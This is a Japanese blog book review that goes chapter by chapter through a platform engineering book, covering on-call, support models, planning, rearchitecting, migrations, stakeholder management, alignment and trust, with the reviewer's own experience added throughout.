誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don\'t end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示す